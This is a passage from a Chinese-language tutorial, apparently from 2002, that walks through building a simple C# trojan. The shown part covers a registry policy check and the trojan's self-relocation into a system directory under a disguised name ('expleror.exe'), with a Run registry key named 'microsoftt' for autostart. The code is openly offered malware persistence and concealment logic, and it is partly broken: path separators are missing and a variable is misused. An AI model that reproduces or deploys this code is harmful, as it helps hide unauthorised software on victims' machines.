&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;key2.Close(); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mystr = mystr +&quot;HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer键值Nologoff被修改!请将它置为0!&quot;; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch{} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} } 4.在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要<em>实现</em>的功能是将D盘下的木马程序转移到C:winnntsystemmsdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。 private void moveCC1() &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//sourceFileName为要移动的文件名,destFileName为文件的新路径 &nbsp;&nbsp;&nbsp;&nbsp;File.Move(&quot;C:winnntsystemmsdoss.exe&quot;,&quot;d:winntsystem32expleror.exe&quot;); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch {} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//将新移的木马程序设为自启动.分析和前面一样 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;key1&nbsp;&nbsp;= rLocal.OpenSubKey(&quot;SOFTWAREMicrosoftWindowsCurrentVersionRun&quot;,true); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;key1.SetValue (&quot;microsoftt&quot;,&quot;d:winntsystem32expleror.exe&quot;); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;key1.Close(); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch{} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(key1 ==null) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RegistryKey key2=rLocal.CreateSubKey(&quot;SOFTWAREMicrosoftWindowsCurrentVersionRun&quot;); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;key1.SetValue (&quot;microsoftt&quot;,&quot;d:winntsystem32expleror.exe&quot;); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;key1.Close(); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch{} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;} //moveCC1() 到这里一个简单的C#的木马就完成了,如果有有疑问请到 www.vchelp.net论坛的C#或是.NET版面和我讨论,或发信给我 chenweijun_sh@etang.com,当然你也可以和黑防联系。 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;落叶夏日&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2002-07-29
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